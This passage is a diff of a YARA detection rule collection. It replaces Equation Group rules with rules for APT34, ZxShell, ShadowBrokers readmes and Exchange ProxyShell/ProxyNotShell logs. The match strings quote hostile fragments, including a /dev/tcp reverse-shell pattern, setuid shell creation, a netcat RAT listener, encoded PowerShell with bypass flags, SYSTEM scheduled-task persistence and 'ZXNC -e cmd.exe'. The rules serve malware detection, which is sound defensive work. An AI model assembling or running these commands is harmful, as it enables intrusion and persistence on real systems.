+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L374-L389"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb68c415d64d1db3d4bb0f4ad994bd050cb2287e4dc7b3ac57549f818a7914d8"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d29aa24e6fb9e3b3d007847e1630635d6c70186a36c4ab95268d28aa12896826"
+		super_rule = 1
+		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
+		hash2 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
 
 	strings:
-		$s1 = "sh >/dev/tcp/" ascii
-		$s2 = " <&1 2>&1" fullword ascii
+		$x1 = "#####  Upload the encrypted phone list as awk, modify each parser command to have the" fullword ascii
 
 	condition:
-		( filesize <1KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Tnmunger : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme3
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file tnmunger"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c95dd24f-ffc9-5e58-aed7-205daa001b8c"
-		date = "2017-04-08"
+		id = "41cfbf66-fb7d-5815-939f-06b23dfae746"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L120-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddb957ca9350288d0fa98ba20847a99dcba931b5a03d0ae94cd3409f82f728eb"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L391-L411"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "968ec80f26750ac734ad9e296b5afb35867f6c53de1e88f7c8af78daeac24b61"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1ab985d84871c54d36ba4d2abd9168c2a468f1ba06994459db06be13ee3ae0d2"
+		super_rule = 1
+		hash1 = "18dfd74c3e0bfb1c21127cf3382ba1d9812efdf3e992bd666d513aaf3519f728"
+		hash2 = "4b236b066ac7b8386a13270dcb7fdff2dda81365d03f53867eb72e29d5e496de"
+		hash3 = "3fe78949a9f3068db953b475177bcad3c76d16169469afd72791b4312f60cfb3"
+		hash4 = "64c24bbf42f15dcac04371aef756feabb7330f436c20f33cb25fbc8d0ff014c7"
+		hash5 = "a237a2bd6aec429f9941d6de632aeb9729880aa3d5f6f87cf33a76d6caa30619"
+		hash6 = "89748906d1c574a75fe030645c7572d7d4145b143025aa74c9b5e2be69df8773"
+		hash7 = "f4b728c93dba20a163b59b4790f29aed1078706d2c8b07dc7f4e07a6f3ecbe93"
 
 	strings:
-		$s1 = "TEST: mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
-		$s2 = "mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
+		$s3 = ":%s/CRYPTKEY/CRYPTKEY/g" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <10KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Ys_Ratload : FILE
+rule SIGNATURE_BASE_FVEY_Shadowbroker_Gen_Readme4
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file ys.ratload.sh"
+		description = "Auto-generated rule - from files violetspirit.README, violetspirit.README"
 		author = "Florian Roth (Nextron Systems)"
-		id = "abd120e7-23f8-530e-b21e-c50a2b571332"
-		date = "2017-04-08"
+		id = "9e84e4ab-f74a-59e5-aee2-408a68cd673f"
+		date = "2016-12-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L136-L151"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "82d00b7eecdb60911ecd933387eeb2ce4eec9721993beee60247d1273ad3368f"
+		reference = "https://bit.no.com:43110/theshadowbrokers.bit/post/message6/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fvey_shadowbroker_dec16.yar#L413-L429"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c19c77d7e7e26e01a9a50fd67cc0a7fd05069def878bf18726c3e115df307cb2"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a340e5b5cfd41076bd4d6ad89d7157eeac264db97a9dddaae15d935937f10d75"
+		super_rule = 1
+		hash1 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
+		hash2 = "a55fec73595f885e43b27963afb17aee8f8eefe811ca027ef0d7721d073e67ea"
 
 	strings:
-		$x1 = "echo \"example: ${0} -l 192.168.1.1 -p 22222 -x 9999\"" fullword ascii
-		$x2 = "-x [ port to start mini X server on DEFAULT = 12121 ]\"" fullword ascii
-		$x3 = "CALLBACK_PORT=32177" fullword ascii
+		$s1 = "[-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5" fullword ascii
+		$s5 = "[-n tcp_port]    : default use portmapper to determine" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <3KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Eh_1_1_0 : FILE
+rule SIGNATURE_BASE_APT34_Malware_HTA : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file eh.1.1.0.0"
+		description = "Detects APT 34 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a6f0ec1f-b0e5-5913-970d-9cdadf647c44"
-		date = "2017-04-08"
+		id = "683faded-7e4b-5b2f-9f85-300db96ed9d1"
+		date = "2017-12-07"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L153-L168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0972bb57076606b3c84f3cbbb0be85cd5663c7cd6f6d9f09a2991cb6532bfa9"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt34.yar#L12-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bf9b988b3ef46df29e0f91c3ea186aaab8a1ccb79563e97521311bf2e1215d7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0f8dd094516f1be96da5f9addc0f97bcac8f2a348374bd9631aa912344559628"
+		hash1 = "f6fa94cc8efea0dbd7d4d4ca4cf85ac6da97ee5cf0c59d16a6aafccd2b9d8b9a"
 
 	strings:
-		$x1 = "usage: %s -e -v -i target IP [-c Cert File] [-k Key File]" fullword ascii
-		$x2 = "TYPE=licxfer&ftp=%s&source=/var/home/ftp/pub&version=NA&licfile=" ascii
-		$x3 = "[-l Log File] [-m save MAC time file(s)] [-p Server Port]" fullword ascii
+		$x1 = "WshShell.run \"cmd.exe /C C:\\ProgramData\\" ascii
+		$x2 = ".bat&ping 127.0.0.1 -n 6 > nul&wscript  /b" ascii
+		$x3 = "cmd.exe /C certutil -f  -decode C:\\ProgramData\\" ascii
+		$x4 = "a.WriteLine(\"set Shell0 = CreateObject(" ascii
+		$x5 = "& vbCrLf & \"Shell0.run" ascii
+		$s1 = "<title>Blog.tkacprow.pl: HTA Hello World!</title>" fullword ascii
+		$s2 = "<body onload=\"test()\">" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <100KB and 1 of them )
+		filesize <60KB and (1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_Equationgroup_Evolvingstrategy_1_0_1 : FILE
+rule SIGNATURE_BASE_APT34_Malware_Exeruner : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file evolvingstrategy.1.0.1.1"
+		description = "Detects APT 34 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "465f709b-1791-5b36-836b-7a0c08bb9b88"
-		date = "2017-04-08"
+		id = "8ddfa59d-9b8a-5cb6-a992-6498ac9be75d"
+		date = "2017-12-07"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L170-L188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87d25f1a4ca4a75292ab6cdcd1a79890c4475c2a9b34761ed92988bd517b4497"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt34.yar#L34-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71840d9a0f8a5dc39656e6bf1ad94fa275bcd18baf6b374dfe040c161d62a960"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fe70e16715992cc86bbef3e71240f55c7d73815b4247d7e866c845b970233c1b"
+		hash1 = "c75c85acf0e0092d688a605778425ba4cb2a57878925eee3dc0f4dd8d636a27a"
 
 	strings:
-		$s1 = "chown root sh; chmod 4777 sh;" fullword ascii
-		$s2 = "cp /bin/sh .;chown root sh;" fullword ascii
-		$l1 = "echo clean up when elevated:" fullword ascii
-		$x1 = "EXE=$DIR/sbin/ey_vrupdate" fullword ascii
+		$x1 = "\\obj\\Debug\\exeruner.pdb" ascii
+		$x2 = "\"wscript.shell`\")`nShell0.run" wide
+		$x3 = "powershell.exe -exec bypass -enc \" + ${global:$http_ag} +" wide
+		$x4 = "/c powershell -exec bypass -window hidden -nologo -command " fullword wide
+		$x5 = "\\UpdateTasks\\JavaUpdatesTasksHosts\\" wide
+		$x6 = "schtasks /create /F /ru SYSTEM /sc minute /mo 1 /tn" wide
+		$x7 = "UpdateChecker.ps1 & ping 127.0.0.1" wide
+		$s8 = "exeruner.exe" fullword wide
+		$s9 = "${global:$address1} = $env:ProgramData + \"\\Windows\\Microsoft\\java\";" fullword wide
+		$s10 = "C:\\ProgramData\\Windows\\Microsoft\\java" fullword wide
+		$s11 = "function runByVBS" fullword wide
+		$s12 = "$84e31856-683b-41c0-81dd-a02d8b795026" fullword ascii
+		$s13 = "${global:$dns_ag} = \"aQBmACAAKAAoAEcAZQB0AC0AVwBtAGk" wide
 
 	condition:
-		( filesize <4KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <100KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toast_V3_2_0 : FILE
+rule SIGNATURE_BASE_LOG_Proxynotshell_POC_CVE_2022_41040_Nov22 : CVE_2022_41040 CVE_2022_41082
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file toast_v3.2.0.1-linux"
+		description = "Detects logs generated after a successful exploitation using the PoC code against CVE-2022-41040 and CVE-2022-41082 (aka ProxyNotShell) in Microsoft Exchange servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "776014ae-be94-5d81-bceb-fefb67ee1994"
-		date = "2017-04-08"
+		id = "1e47d124-3103-5bf5-946f-b1bb69ff2c8e"
+		date = "2022-11-17"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L190-L205"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a505eaafb6882e2701fe0a9b8712f85c1073d83291436eeaa7f4c52876d12359"
-		score = 75
+		reference = "https://github.com/testanull/ProxyNotShell-PoC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_proxynotshell_cve_2022_41040.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7f91502fd9c59180970fc4253134582b44ba318db03ef4eb575257b2f3818d94"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2ce2d16d24069dc29cf1464819a9dc6deed38d1e5ffc86d175b06ddb691b648b"
+		tags = "CVE-2022-41040, CVE-2022-41082"
 
 	strings:
-		$x2 = "Del --- Usage: %s -l file -w wtmp -r user" fullword ascii
-		$s5 = "Roasting ->%s<- at ->%d:%d<-" ascii
-		$s6 = "rbnoil -Roasting ->" fullword ascii
+		$aa1 = " POST " ascii wide
+		$aa2 = " GET " ascii wide
+		$ab1 = " 200 " ascii wide
+		$s01 = "/autodiscover.json x=a" ascii wide
+		$s02 = "/autodiscover/admin@localhost/" ascii wide
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and 1 of them )
+		1 of ($aa*) and $ab1 and 1 of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Sshobo : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_1 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file sshobo"
+		description = "Detects a ZxShell related sample from a CN threat group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b9392aec-34a8-5ad2-b3fd-eea907d19701"
-		date = "2017-04-08"
+		id = "a91e39bb-1bb3-54a8-b684-d673c445375c"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L207-L223"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90c892e06ccedb6a3208d728e9f3c27c14bbe1b4c13b63d4a350bbbf38efbe9d"
+		reference = "https://blogs.rsa.com/cat-phishing/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_zxshell.yar#L12-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30195ff91bd62e32784040f9ec2cf72db90ef1c75056abfd9740f35ce1baccd9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7491898a0a77981c44847eb00fb0b186aa79a219a35ebbca944d627eefa7d45"
+		hash1 = "ef56c2609bc1b90f3e04745890235e6052a4be94e35e38b6f69b64fb17a7064e"
 
 	strings:
-		$x1 = "Requested forwarding of port %d but user is not root." fullword ascii
-		$x2 = "internal error: we do not read, but chan_read_failed for istate" fullword ascii
-		$x3 = "~#  - list forwarded connections" fullword ascii
-		$x4 = "packet_inject_ignore: block" fullword ascii
+		$x1 = "CMD.EXE /C NET USER GUEST /ACTIVE:yes && NET USER GUEST ++++++" ascii
+		$x2 = "system\\cURRENTcONTROLSET\\sERVICES\\tERMSERVICE" fullword ascii
+		$x3 = "\\secivreS\\teSlortnoCtnerruC\\METSYS" ascii
+		$x4 = "system\\cURRENTCONTROLSET\\cONTROL\\tERMINAL sERVER" fullword ascii
+		$x5 = "sOFTWARE\\mICROSOFT\\iNTERNET eXPLORER\\mAIN" fullword ascii
+		$x6 = "eNABLEaDMINtsREMOTE" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <600KB and all of them )
+		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Magicjack_V1_1_0_0_Client_1_1_0_0 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_2 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file magicjack_v1.1.0.0_client-1.1.0.0.py"
+		description = "Detects a ZxShell related sample from a CN threat group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "008cb5cf-1d2d-5312-9474-2f93db190974"
-		date = "2017-04-08"
+		id = "37c1f26b-4b4f-510e-a7b7-b2afb17d6e71"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L225-L239"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "44e853b8d148f84107d29449aa44b2e52226c9d2f397c019aa0f1d347863e388"
+		reference = "https://blogs.rsa.com/cat-phishing/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_zxshell.yar#L32-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7c9f2af3842d60cf4b0b64bdb687a32014b449b42b101394e0424c12fc2808e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
+		hash1 = "204273675526649b7243ee48efbb7e2bc05239f7f9015fbc4fb65f0ada64759e"
 
 	strings:
-		$x1 = "result = self.send_command(\"ls -al %s\" % self.options.DIR)" fullword ascii
-		$x2 = "cmd += \"D=-l%s \" % self.options.LISTEN_PORT" fullword ascii
+		$u1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+		$u2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$u3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
+		$u4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+		$x1 = "\\\\%s\\admin$\\g1fd.exe" fullword ascii
+		$x2 = "C:\\g1fd.exe" fullword ascii
+		$x3 = "\\\\%s\\C$\\NewArean.exe" fullword ascii
+		$s0 = "at \\\\%s %d:%d %s" fullword ascii
+		$s1 = "%c%c%c%c%ccn.exe" fullword ascii
+		$s2 = "hra%u.dll" fullword ascii
+		$s3 = "Referer: http://%s:80/http://%s" fullword ascii
+		$s5 = "Accept-Language: zh-cn" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <80KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Packrat : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_3 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file packrat"
+		description = "Detects a ZxShell related sample from a CN threat group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4c0619c4-728f-591f-aa02-7c28f1f42fd1"
-		date = "2017-04-08"
+		id = "1900b861-b4a2-50b5-a639-3eb442072139"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L241-L256"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7e88e14e0d9c8e8f5ccca3bea78b875bf75fbf0dd54badc339237ca94f0d6373"
+		reference = "https://blogs.rsa.com/cat-phishing/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_zxshell.yar#L60-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d7dd59cf6ef24ce47431f9f3fbc980019880082b4e6162bae70b64abaa26db7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d3e067879c51947d715fc2cf0d8d91c897fe9f50cae6784739b5c17e8a8559cf"
+		hash1 = "2e5cf8c785dc081e5c2b43a4a785713c0ae032c5f86ccbc7abf5c109b8854ed7"
 
 	strings:
-		$x2 = "Use this on target to get your RAT:" fullword ascii
-		$x3 = "$ratremotename && " fullword ascii
-		$x5 = "$command = \"$nc$bindto -vv -l -p $port < ${ratremotename}\" ;" fullword ascii
+		$s1 = "%s\\nt%s.dll" fullword ascii
+		$s2 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
 
 	condition:
-		( filesize <70KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <600KB and all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Telex : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Zxshell_Jul17 : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file telex"
+		description = "Detects a ZxShell - CN threat group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "23571734-869d-5d68-9339-d82f168c2e47"
-		date = "2017-04-08"
+		id = "1b009b20-5a19-5cac-aaaf-ca61310eab9f"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L258-L274"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9661bc43831307cb04883cfe8e54ebb2fe72bf3d7731b2b483cd19c40a5aeaa9"
+		reference = "https://blogs.rsa.com/cat-phishing/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_zxshell.yar#L76-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c7467417ffc8b0ed3037ace9ce4183c9d4a90d1c087a420dd3c7a9c422621b1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e9713b15fc164e0f64783e7a2eac189a40e0a60e2268bd7132cfdc624dfe54ef"
+		hash1 = "5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16"
 
 	strings:
-		$x1 = "usage: %s -l [ netcat listener ] [ -p optional target port instead of 23 ] <ip>" fullword ascii
-		$x2 = "target is not vulnerable. exiting" fullword ascii
-		$s3 = "Sending final buffer: evil_blocks and shellcode..." fullword ascii
-		$s4 = "Timeout waiting for daemon to die.  Exploit probably failed." fullword ascii
+		$x1 = "zxplug -add" fullword ascii
+		$x2 = "getxxx c:\\xyz.dll" fullword ascii
+		$x3 = "downfile -d c:\\windows\\update.exe" fullword ascii
+		$x4 = "-fromurl http://x.x.x/x.dll" fullword ascii
+		$x5 = "ping 127.0.0.1 -n 7&cmd.exe /c net start %s" fullword ascii
+		$x6 = "ZXNC -e cmd.exe x.x.x.x" fullword ascii
+		$x7 = "(bind a cmdshell)" fullword ascii
+		$x8 = "ZXFtpServer 21 20 zx" fullword ascii
+		$x9 = "ZXHttpServer" fullword ascii
+		$x10 = "c:\\error.htm,.exe|c:\\a.exe,.zip|c:\\b.zip\"" fullword ascii
+		$x11 = "c:\\windows\\clipboardlog.txt" fullword ascii
+		$x12 = "AntiSniff -a wireshark.exe" fullword ascii
+		$x13 = "c:\\windows\\keylog.txt" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <50KB and 1 of them )
+		( filesize <10000KB and 1 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Calserver : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Zxshell_20171211_Chrsben : FILE
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file calserver"
+		description = "Detects ZxShell variant surfaced in Dec 17"
 		author = "Florian Roth (Nextron Systems)"
-		id = "abe935ee-8579-54f0-b6d3-172d6e2c0482"
-		date = "2017-04-08"
+		id = "3bbfddb8-011a-52dd-b0c8-b35e6f740507"
+		date = "2017-12-11"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L276-L291"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85080074058703a696ac7f978abd8f4d5234f6553c19736fb52375421c4af42b"
+		reference = "https://goo.gl/snc85M"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_zxshell.yar#L115-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "361441404582b0eaca25954f7fe1a3a3b9fefd15cac78d61408bc50aeb78bb61"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "048625e9a0ca46d7fe221e262c8dd05e7a5339990ffae2fb65a9b0d705ad6099"
+		hash1 = "dd01e7a1c9b20d36ea2d961737780f2c0d56005c370e50247e38c5ca80dcaa4f"
 
 	strings:
-		$x1 = "usage: %s <host> <port> e <contents of a local file to be executed on target>" fullword ascii
-		$x2 = "Writing your %s to target." fullword ascii
-		$x3 = "(e)xploit, (r)ead, (m)ove and then write, (w)rite" fullword ascii
+		$x1 = "ncProxyXll" fullword ascii
+		$s1 = "Uniscribe.dll" fullword ascii
+		$s2 = "GetModuleFileNameDll" fullword ascii
+		$s4 = "$Hangzhou Shunwang Technology Co.,Ltd0" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <30KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="de481441d675e9aca4f20bd8e16a5faa" or pe.exports("PerfectWorld") or pe.exports("ncProxyXll") or 1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Porkclient : FILE
+rule SIGNATURE_BASE_EXPL_Exchange_Proxyshell_Failed_Aug21_1 : SCRIPT
 {
 	meta:
-		description = "Equation Group hack tool leaked by ShadowBrokers- file porkclient"
+		description = "Detects ProxyShell exploitation attempts in log files"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5b34d5f9-bc76-5cc7-92f7-32c2b7ef7bcf"
-		date = "2017-04-08"
-		modified = "2023-12-05"
-		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
